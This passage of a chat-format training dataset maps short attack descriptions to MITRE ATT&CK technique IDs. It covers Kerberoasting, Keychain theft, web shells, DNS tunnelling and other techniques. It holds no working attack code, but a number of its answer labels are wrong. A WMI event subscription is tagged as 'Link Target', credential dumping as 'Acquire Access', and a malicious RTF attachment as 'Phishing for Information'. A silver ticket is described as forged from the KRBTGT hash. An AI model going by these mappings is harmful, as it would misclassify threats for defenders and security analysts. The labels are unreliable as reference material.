                "content": "Threat group spreads ransomware by creating a network share with a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script automates the use of the 'security find-generic-password' command to list all generic passwords stored in the Keychain."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware invokes the Control Panel's executable (e.g., appwiz.cpl) to execute its own code, bypassing direct execution restrictions."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the group used 'Enter-PSSession' over WinRM to interactively control remote Windows servers."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group uses web shells to maintain persistence on compromised web servers."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a signed driver that targets LSASS, configuring it to load during system initialization for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor leverages Windows RDP to log into a victim's machine and exfiltrate files using the built‑in file transfer capabilities."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged a compromised database management console to extract rows from a customer database."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By monitoring the company's seasonal marketing campaigns and promotional events, the attacker identifies peak business periods for exploitation."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scrapes public repositories for configuration files that contain AWS access keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts the KRBTGT account hash and crafts a forged Kerberos service ticket (silver ticket) to gain unauthorized access to a file share."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses Kerberoasting: they enumerate service principal names (SPNs) in AD, request Kerberos service tickets, and brute‑force the ticket hashes offline to obtain high‑privilege account passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scans for the presence of known analysis tools like Process Explorer and self‑terminates when such tools are found."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a one‑way web service to push sensitive information out of the network, establishing only outbound communication without expecting a response."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker extracts LinkedIn OAuth tokens from a compromised desktop application's memory dump."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analysts observed a payload named \"document.doc.exe\" that used a double extension to bypass naive file scanning."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries frequently change DNS records to point to a rotating set of compromised hosts, using fast‑flux domains to hide their command‑and‑control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credentials are harvested from a compromised mobile device's keychain using a custom app."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a known vulnerability in OpenSSH to bypass authentication and hijack active sessions, granting them persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script enumerates the currently logged‑in user by calling the GetUserName API."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers drop a Windows shortcut that uses the IconLocation field to point to a malicious DLL, hiding the true executable in the shortcut's icon data."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses PowerShell to add a new user to the local SAM database, granting administrative rights."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script converts command output to UTF-8 encoded strings before transmitting over FTP."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker sets insecure permissions on a Windows service file, enabling a low‑privilege process to overwrite it with a payload that executes with SYSTEM rights."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious PowerShell script to download and run a JavaScript file that disables security tools."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the startup binary of a VPN client to include a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script overwrites the .plist of a security tool to disable alerts."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accessed a company's internal wiki hosted on MediaWiki, downloading policy documents and meeting minutes."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs DNS enumeration of cloud service endpoints to discover services like S3 buckets and Lambda functions."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targets the container management tool's insecure API endpoint, allowing the extraction of credential files used for pulling images from private registries."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code deletes the current OS image and writes a previous version from a concealed archive."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage tool monitors network restrictions and, upon detecting a firewall block on its command channel, switches to a hidden Bluetooth LE link for local data transfer."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a fake trust provider that the operating system trusts, allowing signed payloads to be forged and executed."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses DNS queries to tunnel command and control data, embedding encrypted payloads within the DNS request and response traffic."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages a shared Python module used by internal scripts, inserting code that runs each time the script is executed."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion obtains an access token and uses the Graph API to download all files from a specific SharePoint library."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changes the creation, modification, and access times of logs to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor uses a compromised web shell to pull a remote executable archive onto the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload exfiltrated the user’s enrollment certificate from the Windows Certificate Enrollment API and used it to authenticate to cloud services."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group injected malicious code into the Hyper‑V virtual machine image before deployment."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures a knocking sequence of ICMP echo requests followed by TCP packets to specific ports, unlocking a covert backdoor on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the configuration of existing Azure virtual machines to install a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An instrumented backdoor sends a request to \"ifconfig.me\" and logs the response to determine the system's internet connection status."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The virus writes stolen data to a removable USB drive left in the target environment."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a compromised domain controller to create a golden ticket, granting unlimited access to resources."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a launchctl launchd plist with RunAtLoad set to true to automatically execute ransomware."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a WMI event subscription that triggers execution of a PowerShell payload whenever a new process starts."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a custom DLL to enumerate attached peripheral devices and driver versions, sending the inventory back to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a BITS job with elevated privileges to download a credential-stealing tool from the internet and launch it automatically."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a credential dumping technique to retrieve cached domain credentials from the system's LSA cache."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spam email contains a link to a malicious cloud storage file that, when opened, runs a script to install a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary deletes the .bash_history file on compromised Linux hosts to erase evidence of used commands."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder edits a commonly used README.md file on a shared repository, embedding a link to a malicious downloader that runs on any system that clones the repo."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed a credential dumping operation on a domain controller to harvest hashes for later use."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote actor exploits a CVE in the SAML implementation to modify the signing certificate, enabling forged authentication assertions."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors send a spearphishing email with an attached .rtf file called 'Meeting_Agenda.rtf' that exploits a known vulnerability to execute arbitrary code on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad actor leverages DLL side-loading to alter data processed by a legitimate service while it is running."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker submits domain names to a public DNS history service to retrieve past A and CNAME records, aiding in the identification of previously used servers."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party library is introduced into a serverless application's deployment package, leading to arbitrary script execution on the underlying platform."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accessed the victim’s internal resources through an exposed Citrix gateway using stolen user accounts."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Mac malware reads the Keychain to retrieve saved Google account credentials for further lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool retrieves access tokens from the Local Security Authority and uses them to impersonate high‑level users."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the \"at\" scheduler, the intruder arranges for a persistence mechanism that runs a keylogger weekly."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a kernel-mode filter that captures inbound TCP packets and injects malicious payloads before the OS processes them."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a script to turn a URL‑encoded string back into its original command format."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disguises malicious traffic as legitimate DNS queries to exfiltrate data, mimicking normal DNS protocol behavior."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder serves a malicious HTML file that employs self-modifying JavaScript to evade static analysis and ultimately runs a PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise results in a background service that continuously mines cryptocurrency, impacting system performance and electricity costs."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code performed LDAP queries against the directory service to pull user attribute data, including email addresses and password hints."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A large-scale HTTP GET flood was executed, overwhelming the victim's web application with repetitive requests to exhaust resources."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a botnet to send a flood of heavy‑weight processing requests to a remote desktop client, overwhelming its CPU and causing a crash."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Windows Registry to turn off command line auditing, preventing command history from being recorded."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated agent generates domains by encrypting a known string with a rotating key and then performs DNS lookups for the resulting domains."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan registers a malicious COM server with the same AppID as a system component, causing the system to load the trojan during COM activation."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uploads a backdoored Edge extension to the web store, which then executes PowerShell scripts on installed machines."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains an Outlook Form that, once opened, registers a COM add-in that runs each time Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit reads /proc/self/environ to capture environment variables containing API keys."
            },
            {
